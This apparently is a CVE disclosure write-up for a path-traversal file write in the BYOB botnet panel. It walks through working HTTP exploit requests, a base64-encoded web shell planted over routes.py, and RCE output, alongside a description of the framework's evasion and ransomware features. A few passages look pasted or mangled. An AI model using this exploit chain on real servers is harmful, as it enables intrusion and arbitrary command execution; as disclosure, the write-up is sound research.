In CVE-2024-45256 (credit goes to Evan Ikeda for discovering the CVE), an arbitrary file write vulnerability was identified in the file_add endpoint of Build Your Own Botnet (BYOB) 2.0, specifically within the api/files/routes.py module. This flaw enables attackers to manipulate file paths through unauthenticated HTTP requests, allowing them to overwrite critical files, such as SQLite databases. The vulnerability arises from inadequate validation of user-supplied filenames, which permits directory traversal sequences like ../ to be included in the filename parameter.
By exploiting this vulnerability, attackers can bypass authentication mechanisms and write to arbitrary locations on the server. This led to an escalation of the attack, where a remote code execution (RCE) vulnerability was introduced. By carefully crafting the file paths, attackers could overwrite sensitive files, including configuration files or scripts with malicious payloads, thereby executing arbitrary system commands on the server. This chain of exploitation not only compromises the integrity and confidentiality of the application but also potentially exposes the underlying system to severe security risks.
BYOB (Build Your Own Botnet) is an open-source framework designed to help security researchers and developers better understand botnets and malware. It allows users to create a functional botnet without writing complex code for a Command and Control (C2) server or Remote Access Trojan (RAT) from scratch. BYOB is platform-independent, written entirely in Python, and can be compiled into portable executables for various operating systems. A key feature is that clients never write anything to disk, enhancing stealth by dynamically loading code into memory.
The framework is designed to bypass security measures like firewalls and antivirus software. BYOB uses reverse TCP connections to bypass firewalls, as most filters block incoming connections but allow outgoing ones. It also prevents known antivirus products from launching, helping it avoid detection. Furthermore, the payload is encrypted with a 256-bit key to prevent analysis, and the client will abort execution if it detects a virtual machine or sandbox environment, adding another layer of protection against reverse-engineering efforts.
Once a botnet is successfully deployed, BYOB offers various post- exploitation modules to further control and monitor the victim’s system. These modules include keylogging, capturing screenshots, webcam access, packet sniffing, and even encrypting files for ransom. Additional modules allow privilege escalation, persistence on the host machine, and scanning the network for other devices. While powerful and versatile, BYOB should be used responsibly and ethically, as its features closely resemble those used in real-world cyber threats.
Let us go through the file: byob/web-gui/buildyourownbotnet/api/files/routes.py.
from flask import Blueprint, request
from buildyourownbotnet.core import generators
from buildyourownbotnet.core.dao import file_dao
# Blueprint
files = Blueprint('files', __name__)
Blueprint Definition: The files blueprint is created to group routes related to file handling. The route /api/file/add is mapped to the file_add function.
@files.route("/api/file/add", methods=["POST"])
def file_add():
"""Upload new exfilrated file."""
b64_data = request.form.get('data')
filetype = request.form.get('type')
owner = request.form.get('owner')
module = request.form.get('module')
session = request.form.get('session')
filename = request.form.get('filename')
# decode any base64 values
try:
data = base64.b64decode(b64_data)
except:
if b64_data.startswith('_b64'):
data = base64.b64decode(b64_data[6:]).decode('ascii')
else:
print('/api/file/add error: invalid data ' + str(b64_data))
return
try:
session = base64.b64decode(session)
except:
try:
if session.startswith('_b64'):
session = base64.b64decode(session[6:]).decode('ascii')
except:
pass
# add . to file extension if necessary
if not filetype:
filetype = '.dat'
elif not filetype.startswith('.'):
filetype = '.' + filetype
# generate random filename if not specified
if not filename:
filename = generators.variable(length=3) + filetype
output_path = os.path.join(os.getcwd(), 'buildyourownbotnet/output', owner, 'files', filename)
# add exfiltrated file to database
file_dao.add_user_file(owner, filename, session, module)
# save exfiltrated file to user directory
with open(output_path, 'wb') as fp:
fp.write(data)
return filename
Function Logic:
_b64 (a custom encoding flag)..dat, and if no filename is given, a random name is generated using the generators.variable() function.File Saving:
buildyourownbotnet/output/<owner>/files/<filename>.file_dao.add_user_file function, which associates the file with the owner, session, and module.Response: Once saved, the function returns the generated or provided filename.
POST /api/file/add HTTP/1.1
Host: 10.0.2.15:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: _ga_226CPYEDPC=GS1.1.1725617794.1.1.1725618058.0.0.0; _ga=GA1.1.1197441951.1725617795; _gid=GA1.1.1800637310.1725617796; session=.eJwlTklqAzEQ_IvOOYx6pF78maFXbAIJzNinkL9bIXWqBarqpx115nVvt-f5yo92PKLdms2Zpj6ABs4eaLlAXBGu5Lij7iGzmOccmY4ItE0OWEl5GJsugKMMGCrCPWCwetkqTAEu7bx5ARgS0CxcSyyCAFI6HNo68rry_H_Tl_TrrOP5_ZlffwZvHSgmxDCiXSxYXHoszrrat8LIAmq_b2idP4s.ZtrXTQ.FE5uKXHYTUE9bOu1kWaFyDufphk; _gat_gtag_UA_167603279_1=1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
data=RmlsZSB1cGxvYWQgUG9DCg%3d%3d&filename=poc.txt&type=txt&owner=nehal&module=payload&session=acbd
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 7
Server: Werkzeug/2.0.0 Python/3.11.9
Date: Fri, 06 Sep 2024 10:24:39 GMT
poc.txt
+--(kali?kali)-[~/Documents/byob/web-gui]
+-$ ls buildyourownbotnet/output/nehal/files
poc.txt
+--(kali?kali)-[~/Documents/byob/web-gui]
+-$ cat buildyourownbotnet/output/nehal/files/poc.txt
File upload PoC
+--(kali?kali)-[~/Documents/byob/web-gui]
+-$ cat buildyourownbotnet/output/nehal/files/poc.txt | base64
RmlsZSB1cGxvYWQgUG9DCg==
--
The file saving function in your code does indeed have several vulnerabilities and potential issues. Here’s a breakdown of how it can be exploited and other considerations to ensure secure file handling:
output_path = os.path.join(os.getcwd(), 'buildyourownbotnet/output', owner, 'files', filename)
Path Traversal Vulnerability: The function uses os.path.join to construct the file path. While os.path.join itself is safe, the filename parameter can be influenced by the user, allowing them to include directory traversal sequences like ../ in the filename. This can potentially lead to files being saved outside the intended directory.
Filename Validation: The function lacks validation on the filename parameter. Without proper validation, users can specify file names with directory traversal sequences or other unexpected characters. This can be exploited to save files in arbitrary locations or overwrite existing files.
Absolute vs. Relative Path: Although os.path.join is used, the output_path is based on os.getcwd() which returns the current working directory. If the working directory is not controlled, an attacker might exploit this by manipulating the working directory or by injecting directory traversal sequences.
Potential Overwrites: The function does not check if a file with the same name already exists. This can lead to unintended overwrites of existing files, especially if an attacker can control or predict filenames.
POST /api/file/add HTTP/1.1
Host: 10.0.2.15:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: _ga_226CPYEDPC=GS1.1.1725617794.1.1.1725618058.0.0.0; _ga=GA1.1.1197441951.1725617795; _gid=GA1.1.1800637310.1725617796; session=.eJwlTklqAzEQ_IvOOYx6pF78maFXbAIJzNinkL9bIXWqBarqpx115nVvt-f5yo92PKLdms2Zpj6ABs4eaLlAXBGu5Lij7iGzmOccmY4ItE0OWEl5GJsugKMMGCrCPWCwetkqTAEu7bx5ARgS0CxcSyyCAFI6HNo68rry_H_Tl_TrrOP5_ZlffwZvHSgmxDCiXSxYXHoszrrat8LIAmq_b2idP4s.ZtrXTQ.FE5uKXHYTUE9bOu1kWaFyDufphk; _gat_gtag_UA_167603279_1=1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
data=RmlsZSB1cGxvYWQgUG9DCg%3d%3d&filename=../poc.txt&type=txt&owner=nehal&module=payload&session=acbd
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 10
Server: Werkzeug/2.0.0 Python/3.11.9
Date: Fri, 06 Sep 2024 10:27:40 GMT
../poc.txt
+--(kali?kali)-[~/Documents/byob/web-gui]
+-$ ls buildyourownbotnet/output/nehal/files
poc.txt
+--(kali?kali)-[~/Documents/byob/web-gui]
+-$ ls buildyourownbotnet/output/nehal/
files poc.txt src
+--(kali?kali)-[~/Documents/byob/web-gui]
+-$ cat buildyourownbotnet/output/nehal/poc.txt
File upload PoC
@files.route("/hacked", methods=["GET"])
def webshell():
return "<pre>" + os.popen(request.args.get("c")).read() + "</pre>"
This payload creates a web shell that allows remote execution of system commands via HTTP requests. The attacker sends a command (c parameter) through a GET request to the /hacked endpoint, which is then executed on the server using os.popen.
Since the web server only accepts base64-encoded files, we converted the modified route.py file into base64 and delivered it to the server through the vulnerable file upload functionality. Once uploaded, the web shell was fully functional, allowing the attacker to run arbitrary system commands via the crafted HTTP requests, resulting in successful remote code execution (RCE) on the server.
+--(kali?kali)-[~]
+-$ cat routes.py| base64 -w0
aW1wb3J0IG9zCmltcG9ydCBiYXNlNjQKaW1wb3J0IHN0cmluZwppbXBvcnQgcmFuZG9tCmZyb20gZmxhc2sgaW1wb3J0IEJsdWVwcmludCwgcmVxdWVzdApmcm9tIGJ1aWxkeW91cm93bmJvdG5ldC5jb3JlIGltcG9ydCBnZW5lcmF0b3JzCmZyb20gYnVpbGR5b3Vyb3duYm90bmV0LmNvcmUuZGFvIGltcG9ydCBmaWxlX2RhbwoKCiMgQmx1ZXByaW50CmZpbGVzID0gQmx1ZXByaW50KCdmaWxlcycsIF9fbmFtZV9fKQoKQGZpbGVzLnJvdXRlKCIvaGFja2VkIiwgbWV0aG9kcz1bIkdFVCJdKQpkZWYgd2Vic2hlbGwoKToKICAgIHJldHVybiAiPHByZT4iICsgb3MucG9wZW4ocmVxdWVzdC5hcmdzLmdldCgiYyIpKS5yZWFkKCkgKyAiPC9wcmU+IgoKCkBmaWxlcy5yb3V0ZSgiL2FwaS9maWxlL2FkZCIsIG1ldGhvZHM9WyJQT1NUIl0pCmRlZiBmaWxlX2FkZCgpOgoJIiIiVXBsb2FkIG5ldyBleGZpbHJhdGVkIGZpbGUuIiIiCgliNjRfZGF0YSA9IHJlcXVlc3QuZm9ybS5nZXQoJ2RhdGEnKQoJZmlsZXR5cGUgPSByZXF1ZXN0LmZvcm0uZ2V0KCd0eXBlJykKCW93bmVyID0gcmVxdWVzdC5mb3JtLmdldCgnb3duZXInKQoJbW9kdWxlID0gcmVxdWVzdC5mb3JtLmdldCgnbW9kdWxlJykKCXNlc3Npb24gPSByZXF1ZXN0LmZvcm0uZ2V0KCdzZXNzaW9uJykKCWZpbGVuYW1lID0gcmVxdWVzdC5mb3JtLmdldCgnZmlsZW5hbWUnKQoKCSMgZGVjb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cmF0ZWQgZmlsZSB0byBkYXRhYmFzZQoJZmlsZV9kYW8uYWRkX3VzZXJfZmlsZShvd25lciwgZmlsZW5hbWUsIHNlc3Npb24sIG1vZHVsZSkKCgkjIHNhdmUgZXhmaWx0cmF0ZWQgZmlsZSB0byB1c2VyIGRpcmVjdG9yeQoJd2l0aCBvcGVuKG91dHB1dF9wYXRoLCAnd2InKSBhcyBmcDoKCQlmcC53cml0ZShkYXRhKQoKCXJldHVybiBmaWxlbmFtZQo=
POST /api/file/add HTTP/1.1
Host: 10.0.2.15:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: _ga_226CPYEDPC=GS1.1.1725617794.1.1.1725618058.0.0.0; _ga=GA1.1.1197441951.1725617795; _gid=GA1.1.1800637310.1725617796; session=.eJwlTklqAzEQ_IvOOYx6pF78maFXbAIJzNinkL9bIXWqBarqpx115nVvt-f5yo92PKLdms2Zpj6ABs4eaLlAXBGu5Lij7iGzmOccmY4ItE0OWEl5GJsugKMMGCrCPWCwetkqTAEu7bx5ARgS0CxcSyyCAFI6HNo68rry_H_Tl_TrrOP5_ZlffwZvHSgmxDCiXSxYXHoszrrat8LIAmq_b2idP4s.ZtrXTQ.FE5uKXHYTUE9bOu1kWaFyDufphk; _gat_gtag_UA_167603279_1=1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2344
data=aW1wb3J0IG9zCmltcG9ydCBiYXNlNjQKaW1wb3J0IHN0cmluZwppbXBvcnQgcmFuZG9tCmZyb20gZmxhc2sgaW1wb3J0IEJsdWVwcmludCwgcmVxdWVzdApmcm9tIGJ1aWxkeW91cm93bmJvdG5ldC5jb3JlIGltcG9ydCBnZW5lcmF0b3JzCmZyb20gYnVpbGR5b3Vyb3du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set=utf-8
Content-Length: 28
Server: Werkzeug/2.0.0 Python/3.11.9
Date: Fri, 06 Sep 2024 10:35:39 GMT
../../../api/files/routes.py
GET /hacked?c=ifconfig HTTP/1.1
Host: 10.0.2.15:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: _ga_226CPYEDPC=GS1.1.1725617794.1.1.1725619123.0.0.0; _ga=GA1.1.1197441951.1725617795; _gid=GA1.1.1800637310.1725617796; session=.eJwlTklqAzEQ_IvOOYx6pF78maFXbAIJzNinkL9bIXWqBarqpx115nVvt-f5yo92PKLdms2Zpj6ABs4eaLlAXBGu5Lij7iGzmOccmY4ItE0OWEl5GJsugKMMGCrCPWCwetkqTAEu7bx5ARgS0CxcSyyCAFI6HNo68rry_H_Tl_TrrOP5_ZlffwZvHSgmxDCiXSxYXHoszrrat8LIAmq_b2idP4s.ZtrXTQ.FE5uKXHYTUE9bOu1kWaFyDufphk; _gat_gtag_UA_167603279_1=1
Upgrade-Insecure-Requests: 1
The output of ifconfig is see in HTTP response. We have successfully escalated vulnerable file upload to RCE.
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1288
Server: Werkzeug/2.0.0 Python/3.11.9
Date: Fri, 06 Sep 2024 11:55:44 GMT
<pre>docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:20:65:53:03 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::e175:bbfb:2e27:782 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)
RX packets 149823 bytes 200604405 (191.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 24750 bytes 4106521 (3.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 22586 bytes 76436650 (72.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22586 bytes 76436650 (72.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
</pre>
The arbitrary file write vulnerability in the file_add endpoint of BYOB demonstrates the critical importance of validating user inputs and securing file handling processes in applications. This vulnerability, exacerbated by directory traversal and inadequate checks on filenames, opens the door to severe exploits like remote code execution, compromising both the application and the underlying system.
BYOB’s design highlights the dual-edged nature of security tools-while intended for research and educational purposes, their misuse can mirror real-world threats. Therefore, developers and security professionals must maintain a robust security posture, rigorously testing their code against common vulnerabilities to mitigate risks effectively.
Securing endpoints, validating all user inputs, and employing safe coding practices are essential to prevent exploitation and ensure the integrity and security of applications. By addressing such vulnerabilities early, developers can better protect their systems against potential attacks and maintain trust in their software solutions.